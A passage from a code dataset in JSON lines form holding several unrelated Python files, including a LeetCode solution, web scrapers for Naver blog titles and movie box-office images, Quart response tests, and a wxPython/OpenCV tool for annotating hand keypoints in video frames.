dom.getElementsByTagName(\"item\")\r\n\r\n# Loop through videos and save (start, end) tuples\r\ntimes = []\r\nfor video in videos:\r\n miscData = video.getElementsByTagName(\"misc\")[0].toxml()\r\n duration = int(miscData.split(\"duration=\\\"\")[1].split(\"\\\"\")[0])\r\n pubDateData = video.getElementsByTagName(\"pubDate\")[0].toxml()\r\n startTimeString = (pubDateData.split(\">\")[1].split(\"<\")[0])[:-6]\r\n startTime = datetime.datetime.strptime(startTimeString, \"%a, %d %b %Y %H:%M:%S\") + datetime.timedelta(hours=4)\r\n endTime = startTime + datetime.timedelta(0, duration)\r\n times.append((startTime, endTime))\r\n\r\n# Get a frequency list corresponding to hours -- doesn't work for durations longer than 24 hours\r\nhours = [0] * 24\r\nlastHour = -1\r\nfor start, end in times:\r\n currentHour = start.hour\r\n if currentHour == lastHour:\r\n if end.hour == currentHour:\r\n break\r\n currentHour += 1\r\n while True:\r\n hours[currentHour] += 1\r\n if currentHour == end.hour:\r\n break\r\n if currentHour == 23:\r\n currentHour = 0\r\n else:\r\n currentHour += 1\r\n lastHour = currentHour\r\nhourValues = range(24)\r\n\r\n# Graph\r\npylab.plot(hourValues, hours)\r\npylab.xticks(hourValues, hourValues)\r\npylab.show()\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"129801904","text":"\"\"\"\nAuthor: Jing (https://github.com/gnijuohz)\n\nFind the Duplicate Number: https://oj.leetcode.com/problems/find-the-duplicate-number \n\n\nGiven an array nums containing n + 1 integers where each integer is between 1 and n (inclusive), prove that at least one duplicate number must exist. Assume that there is only one duplicate number, find the duplicate one.\n\n\n\nNote:\n\nYou must not modify the array (assume the array is read only).\nYou must use only constant, O(1) extra space.\nYour runtime complexity should be less than O(n2).\nThere is only one duplicate number in the array, but it could be repeated more than once.\n\n\n\nCredits:Special thanks to @jianchao.li.fighter for adding this problem and creating all test cases. \nTags\nArray, Two Pointers, Binary Search, Show Similar Problems, (H) First Missing Positive, (M) Single Number, (M) Linked List Cycle II, (M) Missing Number \n\"\"\"\n\nclass Solution(object):\n def findDuplicate(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n fast = slow = nums[0]\n while True:\n slow = nums[slow]\n fast = nums[nums[fast]]\n if slow == fast:\n break\n \n slow = nums[0]\n while slow != fast:\n slow = nums[slow]\n fast = nums[fast]\n return fast\n ","sub_path":"solutions/Find-the-Duplicate-Number.py","file_name":"Find-the-Duplicate-Number.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"186028101","text":"# coding=utf-8\nimport pytest\n\nfrom taxi.utils import get_nearest_car_by_distance\n\n\nclass Car(object):\n def __init__(self, car_id, lat, lng):\n self.car_id = car_id\n self.lat = lat\n self.lng = lng\n\n\nclass Client(object):\n def __init__(self, client_id, lat, lng, time=None):\n self.client_id = client_id\n self.lat = lat\n self.lng = lng\n self.time = time\n\n\n@pytest.mark.parametrize('cars,point,result', [\n ([Car(111, 1.65456665, 31.123123), Car(222, 10.123123123, -10.123123123)], Client(None, 1.54443, 30.234234), 111),\n])\ndef test_get_car_by_distance(cars, point, result):\n assert get_nearest_car_by_distance(cars, point) == result\n","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"234339434","text":"#import the library used to query a website\nimport requests\n\n#import the Beautiful soup functions to parse the data returned from the website\nfrom bs4 import BeautifulSoup\n\n#import re module to do regex\nimport re\n\n#specify the url\nurl = \"https://search.naver.com/search.naver?where=post&sm=tab_pge&query=%ED%81%AC%EB%9E%98%ED%94%84%ED%8A%B8%20%EB%B9%84%EC%96%B4&st=sim&date_option=0&date_from=&date_to=&dup_remove=1&post_blogurl=&post_blogurl_without=&srchby=all&nso=&ie=utf8&start=1\"\n\n#Query the website and return the html to the variable 'page'\nresponse = requests.get(url)\n\n#Parse the html in the 'page' variable, and store it in Beautiful Soup format\nsoup = BeautifulSoup(response.content, \"html.parser\")\n\n#Wrangling title from the soup\ntitles = []\nfor title in soup.find_all(\"a\", class_=\"sh_blog_title _sp_each_url _sp_each_title\"):\n titles.append(title.get('title'))\n\n#Split words from title and put into list\ntitlesList = []\nfor title in titlesList:\n titlesList.append(title.split())\n\n#Finally, make title list splitted by word\ntitleListSplitted = []\nfor title in titleListSplitted:\n for element in title:\n titleListSplitted.append(element)\n\n#Make function\n\ndef urlList():\n url_source = \"https://search.naver.com/search.naver?where=post&sm=tab_pge&query=%EC%88%98%EC%A0%9C%EB%A7%A5%EC%A3%BC&st=sim&date_option=0&date_from=&date_to=&dup_remove=1&post_blogurl=&post_blogurl_without=&srchby=all&nso=&ie=utf8&start=\"\n result = []\n i = 1\n while requests.get(url_source + str(i)):\n result.append(url_source + str(i))\n return result\n\n# Naver limit search result under 1000\ndef urlList_limit():\n url_source = \"https://search.naver.com/search.naver?where=post&sm=tab_pge&query=%ED%81%AC%EB%9E%98%ED%94%84%ED%8A%B8%20%EB%B9%84%EC%96%B4&st=sim&date_option=0&date_from=&date_to=&dup_remove=1&post_blogurl=&post_blogurl_without=&srchby=all&nso=&ie=utf8&start=\"\n result = []\n i = 1\n while i < 1000:\n result.append(url_source + str(i))\n i = i + 10\n return result\n\ndef parsingTitle(url):\n response = requests.get(url)\n soup = BeautifulSoup(response.content, \"html.parser\")\n return [title.get('title') for title in soup.find_all(\"a\", class_=\"sh_blog_title _sp_each_url _sp_each_title\")]\n\ndef webScrapping(url_list):\n list = []\n result = [parsingTitle(url) for url in url_list]\n for title_list in result:\n for title in title_list:\n list.append(title)\n return list\n\ndef splitTitleByRegion(title_list):\n splitted = []\n word_list = []\n for title in title_list:\n splitted.append(title.split())\n for split in splitted:\n word_list.append(split[0])\n return word_list\n\ndef splitTitleByWord(title_list):\n splitted = []\n word_list = []\n for title in title_list:\n splitted.append(title.split())\n for split in splitted:\n for word in split:\n word_list.append(word)\n return word_list\n\ndef makeOneString(word_list):\n word_list_str = ','.join(map(str, word_list))\n return word_list_str\n\n#need to import re\ndef splitRegex(string_list):\n return re.split(\"\\W+\", string_list)\n\n#need to import re\ndef korean(strs):\n hangul = re.compile('[^ ㄱ-ㅣ가-힣]+')\n result = hangul.sub('', strs)\n return result\n\ndef write_txt(variables, filename):\n f = open(\"filename.txt\",\"w\")\n variables = korean(variables)\n f.write(variables)\n f.close()\n\nwith open('k_craftbeer.txt','r') as myfile:\n data=myfile.read()\n","sub_path":"PJT_CraftBeer/WebScrapping.py","file_name":"WebScrapping.py","file_ext":"py","file_size_in_byte":3492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"58148492","text":"from __future__ import annotations\n\nfrom datetime import datetime, timezone\nfrom http import HTTPStatus\nfrom io import BytesIO\nfrom pathlib import Path\nfrom typing import Any, AsyncGenerator\n\nimport pytest\nfrom hypothesis import given, strategies as strategies\nfrom py._path.local import LocalPath\nfrom werkzeug.datastructures import Range\nfrom werkzeug.exceptions import RequestedRangeNotSatisfiable\n\nfrom quart.wrappers.response import DataBody, FileBody, IOBody, IterableBody, Response\n\n\n@pytest.mark.asyncio\nasync def test_data_wrapper() -> None:\n wrapper = DataBody(b\"abcdef\")\n results = []\n async with wrapper as response:\n async for data in response:\n results.append(data)\n assert results == [b\"abcdef\"]\n\n\nasync def _simple_async_generator() -> AsyncGenerator[bytes, None]:\n yield b\"abc\"\n yield b\"def\"\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\n \"iterable\", [[b\"abc\", b\"def\"], (data for data in [b\"abc\", b\"def\"]), _simple_async_generator()]\n)\nasync def test_iterable_wrapper(iterable: Any) -> None:\n wrapper = IterableBody(iterable)\n results = []\n async with wrapper as response:\n async for data in response:\n results.append(data)\n assert results == [b\"abc\", b\"def\"]\n\n\n@pytest.mark.asyncio\nasync def test_file_wrapper(tmpdir: LocalPath) -> None:\n file_ = tmpdir.join(\"file_wrapper\")\n file_.write(\"abcdef\")\n wrapper = FileBody(Path(file_.realpath()), buffer_size=3)\n results = []\n async with wrapper as response:\n async for data in response:\n results.append(data)\n assert results == [b\"abc\", b\"def\"]\n\n\n@pytest.mark.asyncio\nasync def test_io_wrapper() -> None:\n wrapper = IOBody(BytesIO(b\"abcdef\"), buffer_size=3)\n results = []\n async with wrapper as response:\n async for data in response:\n results.append(data)\n assert results == [b\"abc\", b\"def\"]\n\n\n@pytest.mark.parametrize(\n \"status, expected\", [(201, 201), (None, 200), (HTTPStatus.PARTIAL_CONTENT, 206)]\n)\ndef test_response_status(status: Any, expected: int) -> None:\n response = Response(b\"Body\", status=status)\n assert response.status_code == expected\n\n\n@pytest.mark.asyncio\nasync def test_response_body() -> None:\n response = Response(b\"Body\")\n assert b\"Body\" == (await response.get_data()) # type: ignore\n # Fetch again to ensure it isn't exhausted\n assert b\"Body\" == (await response.get_data()) # type: ignore\n\n\n@pytest.mark.asyncio\nasync def test_response_make_conditional() -> None:\n response = Response(b\"abcdef\")\n await response.make_conditional(Range(\"bytes\", [(0, 3)]))\n assert b\"abc\" == (await response.get_data()) # type: ignore\n assert response.status_code == 206\n assert response.accept_ranges == \"bytes\"\n assert response.content_range.units == \"bytes\"\n assert response.content_range.start == 0\n assert response.content_range.stop == 2\n assert response.content_range.length == 6\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\"range_\", [Range(\"\", []), Range(\"bytes\", [(0, 6)])])\nasync def test_response_make_conditional_no_condition(range_: Range) -> None:\n response = Response(b\"abcdef\")\n await response.make_conditional(range_)\n assert b\"abcdef\" == (await response.get_data()) # type: ignore\n assert response.status_code == 200\n assert response.accept_ranges == \"bytes\"\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\n \"range_\",\n [Range(\"seconds\", [(0, 3)]), Range(\"bytes\", [(0, 2), (3, 5)]), Range(\"bytes\", [(0, 8)])],\n)\nasync def test_response_make_conditional_not_satisfiable(range_: Range) -> None:\n response = Response(b\"abcdef\")\n with pytest.raises(RequestedRangeNotSatisfiable):\n await response.make_conditional(range_)\n\n\ndef test_response_cache_control() -> None:\n response = Response(b\"Body\")\n response.cache_control.max_age = 2\n assert response.headers[\"Cache-Control\"] == \"max-age=2\"\n response.cache_control.no_cache = True\n assert response.headers[\"Cache-Control\"] == \"max-age=2, no-cache\"\n\n\n@given(\n value=strategies.datetimes(\n timezones=strategies.just(timezone.utc),\n # The min_value and max_value are needed because\n # wsgiref uses the function time.gmtime on the generated timestamps,\n # which fails on windows with values outside of these bounds\n min_value=datetime(1970, 1, 2),\n max_value=datetime(3000, 1, 2),\n )\n)\n@pytest.mark.parametrize(\"header\", [\"date\", \"expires\", \"last_modified\", \"retry_after\"])\ndef test_datetime_headers(header: str, value: datetime) -> None:\n response = Response(b\"Body\")\n value = value.replace(microsecond=0)\n setattr(response, header, value)\n assert response.headers.get(header.title().replace(\"_\", \"-\"))\n assert getattr(response, header) == value\n","sub_path":"tests/wrappers/test_response.py","file_name":"test_response.py","file_ext":"py","file_size_in_byte":4780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"507898655","text":"n5,m5=map(int,input().split())\ntm=[]\nx=0\nfor m in range(n5):\n tm.append(list(map(int,input().split()))) \nfor m in range(n5):\n for j in range(m5-1):\n for k in range(j+1,m5+1):\n if tm[m][j:k]==[1]*len(tm[m][j:k]):\n if all(tm[p+m][j:k]==[1]*len(tm[p+m][j:k]) for p in range(len(tm[m][j:k])-1)):\n if len(tm[m][j:k])>x:\n x=len(tm[m][j:k])\nif len(tm)==1 and len(tm[0])==1 and tm[0][0]==1:\n print(1)\nfor m in range(x):\n print(*[1]*x) \n","sub_path":"pr18.py","file_name":"pr18.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"625459726","text":"import re\nimport requests\n\n# Python爬取最新电影票房\n\n# 确定url地址,进行请求发送\nfrom bs4 import BeautifulSoup\n\nhtml = requests.get('http://58921.com/alltime').content.decode('utf-8')\n# print(html)\n\n\n# 写正则表达式去拿到所有的电影名字(.*? 是原生字符串 .*?匹配任意字符)\n# 11
战狼2\"\"----2017数据纠错 \n# req = r'战狼2'\nreq = r'.*?'\n\n# 根据表达式去查找所有符合规律的数据\ntitle = re.findall(req, html)\nprint(title)\n\n# 源码解析\nsoup = BeautifulSoup(html, 'html.parser')\n\n# 获取总票房图片 img_url = soup.find_all('img')\n# 切片删除列表中的元素 把第一个元素切掉\nimg_url = soup.find_all('img')[1:]\n\nprint(img_url)\n\n# 设置初始值\ni = 0\n# 循环遍历出img标签中的src for in\nfor url in img_url:\n img_scr = url.get('src')\n print(img_url)\n\n # 获取内容 下载文件 二进制文件 content(图片、视频音频)\n img_content = requests.get(img_scr).content\n\n # 前面加个f表示格式化输出\n print(f'正在爬取:{title[i]} ,地址:{img_scr}', end='')\n\n # 上下文管理\n with open('../result/{}.png'.format(title[i]), 'wb') as file:\n # 保存到文件目录中\n file.write(img_content)\n i += 1\n","sub_path":"python-study/GetVideo.py","file_name":"GetVideo.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"618749516","text":"\n\nfrom xai.brain.wordbase.adjectives._chunky import _CHUNKY\n\n#calss header\nclass _CHUNKIER(_CHUNKY, ):\n\tdef __init__(self,): \n\t\t_CHUNKY.__init__(self)\n\t\tself.name = \"CHUNKIER\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"chunky\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_chunkier.py","file_name":"_chunkier.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"459370719","text":"import wx \nfrom wxui import MyFrame1 \nimport cv2\nimport threading\nimport time\nimport numpy as np\nimport os\nimport pickle\nimport copy\nclass Stage:\n def __init__(self, folder):\n self.path = os.path.join(folder,'stage.txt')\n self.append('starting')\n def append(self, text):\n with open(self.path,'a') as f:\n f.write(text+'\\n')\n def lastest(self):\n with open(self.path,'r') as f:\n lines = f.read().splitlines()\n last_line = lines[-1]\n if last_line == 'starting':\n try:\n last_line = lines[-2]\n except:\n pass\n if last_line == 'starting': \n last_line = 0\n return int(last_line)\nclass MyTracker():\n def __init__(self, cvimg, point, tracker_size=10):\n offset = tracker_size\n # roi = (left, top, width, height)\n self.center = point\n cx, cy = point[0], point[1]\n self.roi = cx-offset/2, cy-offset/2, offset, offset\n self.tracker = cv2.TrackerCSRT_create()\n self.tracker.init(cvimg, self.roi)\n\n def update(self, cvimg):\n success, self.roi = self.tracker.update(cvimg)\n left, top, width, height = self.roi\n self.center = left+width/2, top+height/2\n\nclass myframe(MyFrame1):\n def __init__(self, parent, app):\n MyFrame1.__init__(self, parent)\n app.Bind( wx.EVT_KEY_DOWN, self.on_key )\n self.saving_img_swap = False\n self.finish_setimg_temp = False\n self.init_cam = False\n self.currentpath = os.path.dirname(__file__)\n self.init_tracker_ = False\n self.init_open_imgfolder = False\n wx.Log.EnableLogging(False)\n self.color_hand = [wx.GREEN, wx.Colour(125, 60, 152), wx.GREEN, wx.BLUE,wx.BLUE]\n self.links = [[0,1] ,[0,3] ,[0,5] ,[0,7] ,[0,9], [1,2], [3,4], [5,6], [7,8], [9,10]]\n self.roi_show_ = False\n self.keypoint_show_ = True\n self.link_show_ = True\n self.left_swap = False\n self.move_point = False\n self.hand_mode = 11\n self.covered_point = [False for i in range(self.hand_mode)]\n self.keypoint_size = 3\n self.tracking_roi_size = 50\n self.checking_mode = False\n self.open_rm_bg_mode = False\n self.color_picker = []\n self.color_thres = []\n self.bg_color = (0,255,0)\n self.point_color = (0,0,255)\n self.mask = []\n self.set_mask_thres = False\n self.dist = 0\n self.a = 0\n self.off_tracker_mode = False\n\n\n def save_mp4( self, event ):\n event.Skip()\n\n def exit_program( self, event ):\n self.stop_cam = True\n self.cap_release(event)\n\n def opencam( self, event ):\n self.startcap()\n self.log('croped image from camera (1280,720)=>(720,720)')\n self.create_thread(self.show_img)\n def create_thread(self, target):\n self.thread = threading.Thread(target=target)\n #thread.daemon = True\n self.thread.start()\n \n def startcap(self):\n self.log('init video capture...')\n self.cap_ = cv2.VideoCapture(0)\n self.log('set video size to (1280, 720) ...')\n self.cap_.set(3, 1280)\n self.cap_.set(4, 720)\n \n \n def log(self, text):\n self.m_statusBar1.SetStatusText(text)\n def init_sav_vid(self):\n self.init_cam = True\n self.stop_cam = False\n self.imi = 0\n self.vid_saving = False\n self.take_video_on = False\n self.cnt = 'init'\n self.vid_saving_end = False\n \n def show_img(self):\n self.init_sav_vid()\n cnt = 'init'\n swap3 = self.vid_saving_end\n while not self.stop_cam:\n if swap3 != self.vid_saving_end:\n swap3 = self.vid_saving_end\n cnt = 'init'\n \n _, frame = self.cap_.read()\n w, h = 720, 720\n x, y = 1280/2-w/2, 720/2-h/2\n x, y, w, h = int(x), int(y), int(w), int(h)\n frame = frame[y:y+h, x:x+w]\n frame = cv2.flip(frame, 1)\n if self.take_video_on:\n if cnt == 'init':\n t0 = time.time()\n cnt = 3\n elif time.time()-t0 > 1 and cnt > 0:\n t0 = time.time()\n cnt -= 1\n elif cnt < 1:\n self.take_video_on = False\n self.vid_saving = True\n # if self.vid_saving:\n # wx.CallAfter(self.after_show_img, 2, frame=frame)\n \n font = cv2.FONT_HERSHEY_SIMPLEX \n org = int(720/2), int(720/2)\n fontScale = 3\n color = (255,0,255)\n thickness = 5\n frame = cv2.putText(frame, str(cnt), org, font, \n fontScale, color, thickness, cv2.LINE_AA)\n\n # write to save\n if self.vid_saving:\n swap2 = self.saving_img_swap\n wx.CallAfter(self.saving_img, frame)\n while self.saving_img_swap == swap2:\n time.sleep(0.01)\n \n # resize and write to show\n frame = self.resize_cv2(frame, (500-2)/720)\n dir_temp = os.path.join(os.path.dirname(__file__)\n ,'cv2_temp.bmp')\n swap = self.finish_setimg_temp\n\n # put on showing img\n if self.vid_saving:\n font = cv2.FONT_HERSHEY_SIMPLEX \n org = 15,29\n fontScale = 0.7\n color = (255,255,0)\n thickness = 1\n frame = cv2.putText(frame, 'press space to stop recording..', org, font, \n fontScale, color, thickness, cv2.LINE_AA)\n if self.take_video_on:\n font = cv2.FONT_HERSHEY_SIMPLEX \n org = 15,29\n fontScale = 1\n color = (255,10,255)\n thickness = 2\n frame = cv2.putText(frame, 'record in', org, font, \n fontScale, color, thickness, cv2.LINE_AA)\n\n if not self.take_video_on and not self.vid_saving: \n font = cv2.FONT_HERSHEY_SIMPLEX \n org = 15,29\n fontScale = 0.7\n color = (0,255,0)\n thickness = 1\n frame = cv2.putText(frame, 'press space to record', org, font, \n fontScale, color, thickness, cv2.LINE_AA)\n\n cv2.imwrite(dir_temp, frame)\n wx.CallAfter(self.add_static_img, dir_temp)\n \n while self.finish_setimg_temp == swap :\n time.sleep(0.01)\n \n def saving_img(self, frame):\n self.log('start saving...')\n self.imi += 1\n dir_imi = 'video_temp/'+str(self.fol).zfill(2)+'/'+str(self.imi).zfill(10)+'.bmp'\n frame = cv2.flip(frame, 1)\n cv2.imwrite(dir_imi,frame)\n self.log('saved %s'%dir_imi)\n self.saving_img_swap = not self.saving_img_swap\n self.vid_saving_end = True\n\n def resize_cv2(self, img, scale):\n scale_percent = scale*100\n width = int(img.shape[1] * scale_percent / 100)\n height = int(img.shape[0] * scale_percent / 100)\n dim = (width, height)\n resized = cv2.resize(img, dim, interpolation = cv2.INTER_AREA)\n return resized\n def add_static_img(self, frame_location):\n if not self.stop_cam:\n wximg = wx.Bitmap(frame_location, wx.BITMAP_TYPE_ANY)\n self.m_bitmap5.SetBitmap(wximg)\n self.m_mgr.Update()\n self.finish_setimg_temp = not self.finish_setimg_temp\n\n def take_video( self, event ):\n if self.init_cam:\n self.mkfolder('video_temp')\n stage = Stage('video_temp')\n self.fol = stage.lastest() + 1\n stage.append(str(self.fol))\n self.mkfolder('video_temp/'+str(self.fol).zfill(2))\n self.take_video_on = True\n self.log('count down to take image...')\n else:\n wx.MessageBox('You have to init camera first.', 'Cannot record !',wx.OK )\n def stop_recording(self, event):\n if self.init_cam and self.vid_saving:\n self.init_sav_vid()\n self.log('remanage (.bmp) image file')\n\n # renew image due to some bugs of Thread.\n dir_temp = os.path.join('video_temp',str(self.fol).zfill(2))\n for _,_,fname in os.walk(dir_temp):\n pass \n \n # remove 1, 2, 3, 4\n # rename 2->1, 4->2, 6->3\n for i in range(int(len(fname)/2)):\n newi = (i+1)*2\n oldi = newi - 1\n ci = i+1\n\n name_newi = str(newi).zfill(10)+'.bmp'\n dir_name_newi = os.path.join(dir_temp, name_newi)\n \n name_oldi = str(oldi).zfill(10)+'.bmp'\n dir_name_oldi = os.path.join(dir_temp, name_oldi)\n\n name_ci = str(ci).zfill(10)+'.bmp'\n dir_name_ci = os.path.join(dir_temp, name_ci)\n \n os.remove(dir_name_oldi)\n os.rename(dir_name_newi, dir_name_ci)\n try: \n i = len(fname)\n namei = str(i).zfill(10)+'.bmp'\n dir_namei = os.path.join(dir_temp, namei)\n os.remove(dir_namei)\n except :pass\n \n # open current folder\n self.open_imgfolder_(event)\n self.log('done %d images in %s'%(int(len(fname)/2),dir_temp))\n\n else: \n wx.MessageBox('There are no recording videos.', 'Cannot stop !',wx.OK )\n def mkfolder(self, name):\n if name not in os.listdir():\n os.mkdir(name)\n self.log('make___ (%s) ___folder'%name)\n else:\n self.log('found___ (%s) ___before make'%name)\n\n def open_imgfolder(self, event):\n self.checking_mode = False\n self.init_open_imgfolder = True\n fdir = \"\" \n\n try:\n dir_temp = os.path.join(self.currentpath, 'video_temp')\n dlg = wx.DirDialog(self, defaultPath = dir_temp)\n except: \n dlg = wx.DirDialog(self, defaultPath = self.currentpath)\n \n if dlg.ShowModal() == wx.ID_OK:\n fdir = dlg.GetPath()\n dlg.SetPath(fdir)\n dlg.Destroy()\n\n self.img_folder = fdir\n self.imi = 351 # <============== #################### config ###############################\n try:\n self.cap_.release()\n except :pass\n self.stop_cam = True # stop showing camera\n self.show_imi(self.imi)\n self.init_tracker(event)\n \n def open_imgfolder_(self, event):\n self.stop_cam = True # stop showing camera\n self.init_open_imgfolder = True\n fdir = os.path.join('video_temp',str(self.fol).zfill(2)) \n self.img_folder = fdir\n self.imi = 1\n try:\n self.cap_.release()\n except :pass\n\n self.show_imi(1)\n self.init_tracker(event)\n\n def show_imi(self, i):\n self.imi_path = os.path.join(self.img_folder\n , str(i).zfill(10)+'.bmp')\n try:\n wximg = wx.Bitmap(self.imi_path, wx.BITMAP_TYPE_ANY)\n self.real_im = cv2.imread(self.imi_path)\n except:\n self.log('cannot read %s'%self.imi_path)\n width = wximg.GetWidth()\n self.real_im_width = width\n if width==0: self.log('width=0 check .bmp file')\n assert width!=0, 'width=0 check .bmp file' \n \n self.wximg = self.scale_bitmap(wximg, 500/width)\n self.m_bitmap5.SetBitmap(self.wximg)\n self.m_mgr.Update()\n self.log(str(self.imi_path))\n def scale_bitmap(self, bitmap, scale):\n image = bitmap.ConvertToImage()\n width = image.GetWidth() * scale\n height = image.GetHeight() * scale\n image = image.Scale(width, height, wx.IMAGE_QUALITY_HIGH)\n result = wx.Bitmap(image, wx.BITMAP_TYPE_ANY)\n return result\n\n def read_pkl(self, event):\n assert self.hand_mode in [2,11], 'check hand_mode'\n if self.hand_mode == 11:\n dir_temp = os.path.join(self.img_folder, str(self.imi).zfill(10)+'.pkl')\n elif self.hand_mode == 2:\n dir_temp = os.path.join(self.img_folder, str(self.imi).zfill(10)+'_2p.pkl')\n # print('dir_temp =',dir_temp)\n dir_temp2 = os.path.join(self.img_folder, str(self.imi).zfill(10)+'.bmp')\n # print('dir_temp2=',dir_temp2)\n with open(dir_temp, 'rb') as f:\n data = pickle.load(f)\n self.point_temp = data['keypoint']\n self.covered_point = data['covered_point']\n # print('1')\n self.real_im = cv2.imread(dir_temp2)\n # print('2')\n self.reinit_tracker(event)\n # print('2.5')\n self.draw_bitmap()\n # print('3')\n self.log(dir_temp)\n # check hand_mode\n num = len(self.point_temp)\n # print('4')\n if num == 2: self.hand_mode = 2\n if num == 11: self.hand_mode = 11\n self.m_bitmap5.Bind(wx.EVT_MOUSE_EVENTS, self.getmousepos)\n # print('5')\n\n def Next(self, event):\n self.imi += 1\n try : \n self.show_imi(self.imi)\n try:\n if self.checking_mode and not self.open_rm_bg_mode:\n self.read_pkl(event)\n except :pass\n except : \n self.imi -= 1\n wx.MessageBox('This is the last image of this folder', 'Cannot go next !',wx.OK )\n \n def Previous(self, event):\n self.imi -= 1\n try: \n if self.open_rm_bg_mode:\n self.read_clean(event)\n else:\n self.show_imi(self.imi)\n self.read_pkl(event)\n except: \n self.imi += 1\n wx.MessageBox('This is the first image of this folder', 'Cannot go previous !',wx.OK )\n def init_tracker(self, event):\n self.log('pick the keypoint to init tracker...')\n self.mytracks = [str(i) for i in range(self.hand_mode)]\n self.init_tracker_ = True\n # turn on get mouse\n self.m_bitmap5.Bind(wx.EVT_MOUSE_EVENTS, self.getmousepos)\n self.point_name = [str(i).zfill(2) for i in range(10)]\n self.point_temp = []\n def reinit_tracker(self,event):\n # print('in reinit')\n self.log('re-init tracker size')\n self.mytracks = [str(i) for i in range(self.hand_mode)]\n # print(1)\n for i,point in enumerate(self.point_temp):\n # print('for')\n self.mytracks[i] = MyTracker(self.real_im, point, self.tracking_roi_size)\n # print('out for')\n self.Redraw(event)\n # print('end reinit')\n\n def draw(self):\n # print('start def draw')\n ##### bad section ############# you need to solve #################\n try:\n int(self.real_im_width)\n except :\n self.real_im_width = 360\n #################################################################\n \n thres = 500/self.real_im_width\n rois, cens = [], []\n for i in range(len(self.point_temp)):\n ra, rb, rc, rd = self.mytracks[i].roi\n ca, cb = self.mytracks[i].center\n rois.append([ra*thres, rb*thres, rc*thres, rd*thres])\n cens.append([ca*thres, cb*thres])\n \n # print('1')\n # draw rect\n if self.roi_show_ :\n self.dc.SetPen(wx.Pen(\"red\"))\n self.dc.SetBrush(wx.Brush(\"grey\",style=wx.TRANSPARENT))\n for roi in rois:\n left, top, width, height = roi \n pos = int(left), int(top)\n size = int(width), int(height)\n rect = wx.Rect(wx.Point(pos), wx.Size(size))\n self.dc.DrawRectangle(rect)\n # print('2')\n # draw links\n if self.link_show_:\n lines, pens = [], []\n for i,(start, end) in enumerate(self.links):\n try:\n x1, y1 = cens[start]\n x2, y2 = cens[end]\n lines.append([x1, y1, x2, y2])\n pens.append(wx.Pen(self.color_hand[int((i+1)%5)], 2))\n except :pass\n self.dc.DrawLineList(lines, pens)\n # print(3)\n # draw centers\n if self.keypoint_show_ :\n for i,cen in enumerate(cens):\n self.dc.SetPen(wx.Pen(\"black\"))\n self.dc.SetBrush(wx.Brush(wx.Colour(0,255,0), wx.SOLID))\n size = self.keypoint_size\n \n if self.covered_point[i]:\n self.dc.SetPen(wx.Pen(\"yellow\"))\n self.dc.SetBrush(wx.Brush(wx.Colour(255,255,0), wx.SOLID))\n size = self.keypoint_size-1 if self.keypoint_size > 1 else 1\n self.dc.DrawCircle(cen,size)\n # print('out def draw')\n def draw_bitmap(self):\n # print('in')\n self.dc = wx.MemoryDC(self.wximg)\n # print('loaded')\n self.draw()\n # print('4.5')\n self.dc.SelectObject(wx.NullBitmap)\n # print('4')\n self.m_bitmap5.SetBitmap(self.wximg)\n # print('5')\n self.m_mgr.Update()\n # print('6')\n def manage_point(self, event):\n \n if len(self.point_temp) < self.hand_mode and len(self.point_temp) != -1 :\n self.point_temp.append(self.click)\n self.log('point(%d,%d) was added to be point[%d]'%(self.click[0],self.click[1],len(self.point_temp)-1))\n i = len(self.point_temp) - 1 # the last index\n self.mytracks[i] = MyTracker(self.real_im, self.click, self.tracking_roi_size)\n self.draw_bitmap()\n elif len(self.point_temp) == self.hand_mode:\n # manage point mode\n\n # check nearest point\n dist = np.array(self.point_temp)-np.array(self.click)\n nearest_index = np.argmin(dist[:,0]**2 + dist[:,1]**2)\n\n # check in_area\n dist = self.point_temp[nearest_index] - np.array(self.click)\n dist = dist[0]**2 + dist[1]**2\n\n # if in_area\n if dist < 1000:\n #move point\n self.move_point = True\n self.nearest_index = nearest_index\n\n def draw_move(self,event):\n #reset img\n self.imi_path = os.path.join(self.img_folder\n , str(self.imi).zfill(10)+'.bmp')\n wximg = wx.Bitmap(self.imi_path, wx.BITMAP_TYPE_ANY)\n width = wximg.GetWidth()\n self.wximg = self.scale_bitmap(wximg, 500/width)\n\n \n self.dc = wx.MemoryDC(self.wximg)\n\n # re init nearest_point\n rm = self.point_temp[self.nearest_index]\n self.point_temp.insert(self.nearest_index,self.click)\n self.point_temp.remove(rm)\n self.mytracks[self.nearest_index] = MyTracker(self.real_im, self.click, self.tracking_roi_size)\n self.draw()\n self.dc.SelectObject(wx.NullBitmap)\n self.m_bitmap5.SetBitmap(self.wximg)\n\n self.m_mgr.Update()\n def set_covered_point(self):\n # check nearest point\n dist = np.array(self.point_temp)-np.array(self.click)\n nearest_index = np.argmin(dist[:,0]**2 + dist[:,1]**2)\n\n # check in_area\n dist = self.point_temp[nearest_index] - np.array(self.click)\n dist = dist[0]**2 + dist[1]**2\n\n # if in_area\n if dist < 100:\n # set to covered_point\n self.covered_point[nearest_index] = not self.covered_point[nearest_index]\n self.log('set coverd point of index_%d to %s'%(nearest_index,self.covered_point[nearest_index]))\n \n def Clear(self,event):\n 